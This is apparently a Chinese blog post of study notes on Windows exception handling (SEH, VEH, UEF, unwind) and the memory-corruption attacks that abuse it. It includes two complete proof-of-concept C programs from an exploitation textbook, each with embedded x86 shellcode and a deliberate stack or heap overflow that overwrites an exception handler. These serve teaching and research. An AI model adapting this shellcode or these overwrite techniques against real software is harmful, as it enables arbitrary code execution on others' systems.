首页 > 代码库 > OD: Memory Attach Technology - Exception
OD: Memory Attach Technology - Exception
看到第六章了:形形色色的内存攻击技术
异常处理结构体 S.E.H Structure Exception Handler
S.E.H 是 Windows 处理异常的重要数据结构。每个 S.E.H 为 8 字节:包含 S.E.H 链表指针和异常处理函数句柄(两个 DWORD)。
1. S.E.H 存放在系统栈中,栈中一般会同时存放多个 S.E.H 2. 线程初始化时,会自动向栈中安装一个 S.E.H,作为线程默认的异常处理。 3. 如果程序源码中使用了 __try{}__except{} 或者 assert 宏等异常处理机制,编译器将最终通过向当前函数栈帧中安装一个 S.E.H 来实现异常处理。 4. 栈中的多个 S.E.H 通过链表指针在栈内由栈顶向栈底串成单链表,链表最顶端的 S.E.H 通过 T.E.B 0 字节偏移处的指针标识。 5. 当异常发生时,OS 会中断程序,并首先从 T.E.B 的 0 字节偏移处(TEB FS:0)取出距离栈顶最近的 S.E.H,并使用异常处理函数句柄指向的代码来处理异常。 6. 当离“事故现场”最近的异常处理函数运行失败时,将顺着 S.E.H 链表依次尝试其他的异常处理函数。 7. 如果程序安装的所有异常处理函数都不能处理,OS 会用默认的异常处理函数:通常会弹出错误提示然后强制关闭程序。 注意:系统对异常处理函数的调用可能不止一次;对于同一个函数的多个 __try 或嵌套的 __try 需要进行 S.E.H 展开(unwind)操作;线程、进程、OS 的异常处理之间的调用顺序和优先级等也要考虑。
因此,一种利用思路就出来了:S.E.H 存放在栈中,所以可以用缓冲区栈溢出覆盖 S.E.H,将 S.E.H 中异常处理函数的地址修改为 Shellcode 的地址。溢出后错误的栈帧往往引发异常,之后 Windows 会将 Shellcode 当作异常处理函数执行。
栈溢出并攻击 SEH 异常处理回调函数示例如下:
1 /***************************************************************************** 2 To be the apostrophe which changed "Impossible" into "I‘m possible"! 3 4 POC code of chapter 7.2 in book "Vulnerability Exploit and Analysis Technique" 5 6 file name : SEH_stack.c 7 author : failwest 8 date : 2007.07.04 9 description : demo show of how SEH be exploited 10 Noticed : 1 only run on windows 2000 11 2 complied with VC 6.0 12 3 build into release version 13 4 SEH offset and shellcode address may need 14 to make sure via runtime debug 15 version : 1.0 16 E-mail : failwest@gmail.com 17 18 Only for educational purposes enjoy the fun from exploiting :) 19 ******************************************************************************/ 20 #include <windows.h> 21 22 char shellcode[]= 23 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 24 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 25 "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" 26 "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" 27 "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" 28 "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" 29 "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" 30 "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" 31 "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" 32 "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" 33 "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" 34 "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" 35 "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90" 36 "\x90\x90\x90\x90" 37 "\x98\xFE\x12\x00";//address of shellcode 38 DWORD MyExceptionhandler(void) 39 { 40 printf("got an exception, press Enter to kill process!\n"); 41 getchar(); 42 ExitProcess(1); 43 return 0; 44 } 45 46 void test(char * input) 47 { 48 char buf[200]; 49 int zero=0; 50 //__asm int 3 //used to break process for debug 51 __try 52 { 53 strcpy(buf,input); //overrun the stack 54 zero=4/zero; //generate an exception 55 } 56 __except(MyExceptionhandler()){} 57 } 58 59 int main() 60 { 61 test(shellcode); 62 return 0; 63 }
以上代码的测试环境为 Windows 2000 VM,编译版本为 Release。异常处理机制调试与堆调试类似,系统会检测进程是否处于调试态,调试态的异常处理与常态不一样,所以需要使用 int 3 中断来 Attach 进程进行调试。实验的关键在于确定 S.E.H 回调函数的句柄,这个是通过调试事先确定的:单击 OllyDbg 中的 View -> SEH Chain 可以看到异常回调函数句柄。
Windows 平台的溢出利用中,修改 SEH 和修改返回地址的栈溢出几乎同样流行。在很多高难度的限制条件下,直接利用溢出触发异常往往能得到高质量的 exploit。
同理,堆溢出攻击 SEH 的代码如下:
1 /***************************************************************************** 2 To be the apostrophe which changed "Impossible" into "I‘m possible"! 3 4 POC code of chapter 7.2 in book "Vulnerability Exploit and Analysis Technique" 5 6 file name : SEH_heap.c 7 author : failwest 8 date : 2007.07.04 9 description : demo show of how SEH be exploited 10 Noticed : 1 only run on windows 2000 11 2 complied with VC 6.0 12 3 build into release version 13 4 SEH address may need to make sure via runtime debug 14 version : 1.0 15 E-mail : failwest@gmail.com 16 17 Only for educational purposes enjoy the fun from exploiting :) 18 ******************************************************************************/ 19 #include <windows.h> 20 21 char shellcode[]= 22 "\x90\x90\x90\x90\x90\x90\x90\x90" 23 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 24 "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" 25 "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" 26 "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" 27 "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" 28 "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" 29 "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" 30 "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" 31 "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" 32 "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" 33 "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" 34 "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90" 35 "\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block 36 "\x88\x06\x52\x00"//0x00520688 is the address of shellcode in first heap block 37 //"\x90\x90\x90\x90";//target of dword shouting 38 "\x30\xFF\x12\x00";//target of dword shouting 39 40 DWORD MyExceptionhandler(void) 41 { 42 ExitProcess(1); 43 } 44 45 main() 46 { 47 HLOCAL h1 = 0, h2 = 0; 48 HANDLE hp; 49 hp = HeapCreate(0,0x1000,0x10000); 50 h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200); 51 memcpy(h1,shellcode,0x200);// over flow here, noticed 0x200 means 512 ! 52 __asm int 3 // uesd to break the process 53 __try 54 { 55 h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8); 56 } 57 __except(MyExceptionhandler()){} 58 return 0; 59 }
需要注意的是,堆溢出中 SEH 的地址需要用如下技巧调试得知:
首先,OllyDbg 是可以捕获所有异常的,但需要在 Optins -> Debugging Option -> Exceptions 中关闭异常过滤。
这样,当进程发生异常时,OllyDbg 就可以捕获到(见底部状态栏):
然后,设置 DWORD SHOOT 攻击目标为非法地址 0x90909090,触发异常后,打开 OllyDbg 的 SEH Chain 才可以看到需要覆盖的 SEH 地址:栈顶端 SEH 的位置是 0x0012FF2C,所以 DWORD SHOOT 的地址是 0x0012FF2C + 0x4 = 0x0012FF30
深入 S.E.H
和堆分配机制一样,MS 从未正式公开过 Windows 的异常处理机制。但在非官方的文献资料中有一篇著名的技术文章:微软工程师 Matt Pietrek 所发表的 A Crach Course on the Depths of Win32 Structured Exception Handling,系统地描述了 Windows 中基于 S.E.H 的异常处理原理和大致流程,并讲解了 S.E.H 是如何实现 __try{}、__except{} 异常处理机制的,见:http://www.microsoft.com/msj/0197/exception/exception.aspx
从攻击者的角度讲,对异常处理的掌握只要知道改写 S.E.H 并劫持进程、植入代码就够了,但对安全技术研究人员来说,异常处理机制很有研究价值,几乎所有大师级别的安全专家都对异常处理机制了如指掌,如果能掌握异常处理的所有细节,那么就有可能创造一种新的漏洞利用方法。
异常处理的最小作用域是线程,此外进程中也有一个能纵观全局的异常处理,当线程自身的 SEH 无法处理错误的时候,进程 SEH 将发挥作用。这种异常处理不仅能影响出错的线程,进程下属的所有线程都会受到影响。除了线程、进程异常处理外,OS 还为所有程序提供了一个默认的异常处理:当所有线程、进程 SEH 都无法处理异常的时候,默认异常处理将启用,效果通常是弹出程序崩溃的对话框。
补充异常处理简要流程如下: 1. 首先执行线程中离栈顶最近的 SEH 的处理函数 2. 若失败,则依次执行 SEH 链表中的后续异常处理函数 3. 若 SEH 链表中所有异常处理函数都没有处理成功,则执行进程中的异常处理 4. 若进程 SEH 处理失败,则执行 OS 的默认异常处理函数:弹窗!
线程的异常处理
线程中用于异常处理的函数有 4 个参数:
pExcept : 指向一个非常重要的结构体 EXCEPTION_RECORD,该结构体包含了一些与异常相关的信息,如异常类型、异常发生地址等。
pFrame : 指向栈帧中的 SEH 结构体。
pContext : 指向 Context 的结构体,该结构体包含了所有寄存器状态。
pDispatch : 未知用途。。。
在回调函数(异常处理函数)执行前,OS 会将上述断点信息压栈。根据这些对异常的描述,回调函数可以轻松地处理异常:如将除零异常后相关寄存器的值修改为非零,将内存设访问错误异常后的寄存器地址指回有效地址等。
异常处理函数返回后,OS 根据返回值决定下一步操作:
0 ExceptionContinueExecution 异常处理成功,将返回原程序发生异常的地方继续执行后续指令(这里一些传递给回调函数断点信息可能被修改过,以防止如除零等异常) 1 ExceptionContinueSearch 代表异常处理失败,将继续按异常处理流程执行后续 SEH
线程异常处理中还有一个比较神秘的操作:unwind
当系统顺着 S.E.H 链表搜索到能够处理异常的句柄时,将会重新遍历 S.E.H 链表中已经调用过的 S.E.H 异常处理函数,并通知这些处理异常失败的 S.E.H 清理现场、释放资源,之后这些 S.E.H 结构体将从链表中拆除。
unwind 操作很好地保证了异常处理机制自身的完整性和正确性:
unwind 操作是为了在进行多次异常处理、甚至互相嵌套的异常处理时,仍能使异常处理机制稳定、正确地执行。unwind 会在真正处理异常之前将之前的 SEH 节点逐个拆除(拆除前会通知异常处理函数释放资源、清理现场),所以,异常处理时,线程的异常处理函数实际上被调用了两次:第一轮调用是用来尝试处理异常,第二轮调用是通知回调函数释放资源。unwind 调用是在回调参数中指明的,对照 MSDN,查看回调函数第一个参数 pExcept 所指向的 EXCEPTION_RECORD 结构体:
typedef struct _EXCEPTION_RECORD { DWORDExceptionCode; DWORDExceptionFlags; // Flags struct _EXCEPTION_RECORD *ExceptionRecord; PVOID ExceptionAddress; DWORD NumberParameters; DWORD ExceptionInformation [EXCEPTION_MAXIMUM_PARAMETERS]; } EXCEPTION_RECORD;
当这个结构体中的 ExceptionCode 为 0xC0000027(STATUS_UNWIND),并且 ExceptionFlags 为 2(EH_UNWINDING)时,对回调函数的调用就属于 unwind 调用。unwind 操作是通过 kernel32 中的一个导出函数 RtlUnwind() 实现,kernel32.dll 会转而再去调用 ntdll.dll 中的同名函数(见 MSDN):
void RtlUnwind ( PVOID TargetFrame, PVOID TargetIp, PEXCEPTION_RECORD ExceptionRecord, PVOID ReturnValue )
要注意的是,在使用回调函数之前,系统会判断当前是否处于调试状态,如果是,会将异常交给调试器处理。
进程的异常处理
线程中发生的异常若没有被线程异常处理函数或调试器处理成功,则将交给进程中的异常处理函数。
进程的异常处理函数需要通过 Kernel32.dll 的导出函数 SetUnhandledExceptionFilter 来注册:
LPTOP_LEVEL_EXCEPTION_FILTER SetUnhandledExceptionFilter(
LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter
);
进程的异常处理函数返回值为:
1 EXCEPTION_EXECUTE_HANDLER 错误等到处理,程序将退出。 0 EXCEPTION_CONTINUE_SEARCH 无法处理错误,转交系统进行默认异常处理 -1 EXCEPTION_CONTINUE_EXECUTION 错误得到正确处理,并将继续执行。系统会用回调函数的参数恢复出异常发生时的断点情况(这时引起异常的寄存器值已经得到修复)
系统默认异常处理 U.E.F - Unhandled Exception Filter
如果用户没有注册进程异常处理,或者进程异常处理失败,则系统默认异常处理 UnhandledExceptionFilter() 会被调用。
UnhandledExceptionFileter() 首先检查注册表 HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\AeDebug 下的项:
Auto : 1 表示不弹出错误对话框直接结束程序,其余值会弹窗。
Debugger : 指明默认调试器。
由以上信息,可以总结异常处理的流程如下:
1. CPU 执行时发生并捕获异常,内核接过进程控制权,开始内核态的异常处理。 2. 内核异常处理结束后,控制权交给 ring3。 3. ring3 中的第一个处理异常的函数是 ntdll.dll 中的 KiUserExceptionDispatcher()。 4. KiUserExceptionDispatcher() 首先检查程序是否处于调试态,若是,则将异常交给调试器处理。 5. 非调试态下,KiUserExceptionDispater() 调用 RtlDispatchException() 对线程 SEH 链表进行遍历,如果找到合适的回调函数,则进行 unwind 操作。 6. 如果 SEH 处理异常失败,且用户使用 SetUnhandledExceptionFilter() 设定了进程异常处理,则这个异常处理将被调用。 7. 如果用户没有定义进程异常处理或者定义的进程异常处理失败,则 UnhandledExceptionFilter() 被调用。
这个流程基于 Windows 2000 平台,Windows XP 及后续的系统的异常处理流程大致相同,只是 KiUserExceptionDispatcher() 在遍历 SEH 之前,会先尝试新加入的异常处理类型 V.E.H(Vectored Exception Handling)
向量化异常处理 V.E.H - Vectored Exception Handler
从 Windows XP 开始,有兼容以前的 S.E.H 异常处理基础上,MS 增加了 V.E.H:
V.E.H 和进程异常处理类似,也是基于进程的,需要使用 API 注册回调函数:
PVOID AddVectoredExceptionHandler(
ULONG FirstHandler,
PVECTORED_EXCEPTION_HANDLER VectoredHandler
);
V.E.H 结构
struct _VECTORED_EXCEPTION_NODE {
DWORD m_pNextNode;
DWORD m_pPreviowsNode;
PVOID m_pfnVectoredHandler;
}
可以注册多个 V.E.H,V.E.H 结构体之间串成双向链表,注册 V.E.H 时,可以指定其在链中的位置而不像 S.E.H 那样按顺序压栈。另外 V.E.H 是保存的堆中。
V.E.H 处理优先级高于 S.E.H 处理,而且 V.E.H 没有 unwind 操作。
David Litchfiled 在 Black Hat 上的演讲 Windows heap overflows 提出如果能利用 DWORD SHOOT 修改指向 V.E.H 头节点的指针,则异常处理开始后,可以引导程序执行 Shellcode。
攻击 TEB 中的 SEH 头节点指针
SEH 通过 TEB 的第一个 DWORD(fs:0)标识,这个指针指向离栈顶最近的 SEH。Halvar Flake 在 Black Hat 上的演讲 Third Generation Exploitation 中提出攻击 TEB 中 SEH 头节点指针的利用思路,并指明这种方法的局限:
1. 一个进程可能有多个线程。
2. 每个线程都有一个 TEB。
3. 第一个 TEB 开始于 0x7FFDE000,之后每个 TEB 紧随前边的 TEB,相隔 0x1000 字节,向内存低地址增长。
4. 线程退出时,TEB 销毁,腾出的 TEB 空间可以被后续重复使用。
服务器程序往往是多线程的,这种利用方法不便于判断对应 TEB 位置。所以,攻击 TEB 中 SEH 头节点的方法一般用于单线程程序。
攻击默认异常处理 U.E.F
Halvar Flake 最早提出攻击 UEF 的思路,同时还给出了确定 UEF 句柄的方法 - 反汇编 kernel32.dll 中的 SetUnhandledExceptionFilter():
利用 IDA Pro 打开 kernel32.dll 进行反汇编,分析结束后查看 Functions 选项卡,键入 SetUnhandledExceptionFilter 定位到这个函数,就能找到其入口地址。
双击这个函数,IDA 会自动跳到其反汇编代码处,从反汇编代码中可以查到 U.E.F 的地址。
跳板技术能使 UEF 攻击的成功率增高:异常发生时 EDI 往往指向堆中离 shellcode 不远的地方,把 UEF 的句柄覆盖成如下指令之一就可以定位 shellcode:
call dword ptr [edi+0x78]
call dword ptr [esi+0x4c]
call dword ptr [ebp+0x74]
但堆溢出不像栈溢出一样有个 jmp esp 作保证,堆溢出利用 edi 不一定能每次都成功。
攻击 PEB 中的函数指针
UEF 被使用后,最后将使用 ExitProcess() 和结束进程,ExitProcess() 清理现场时需要调用 RtlEnterCriticalSection() 和 RtlLeaveCriticalSection() 进入临界区同步线程。如果能用 DWORD SHOOT 把 PEB 中这对函数的指针修改成 shellcode 的地址,那么 UEF 调用 ExitProcess 时就会执行 shellcode。
比起不固定的 TEB,PEB 位置永远不变,因此这种方法比淹没 TEB 中 SEH 头节点更稳定可靠。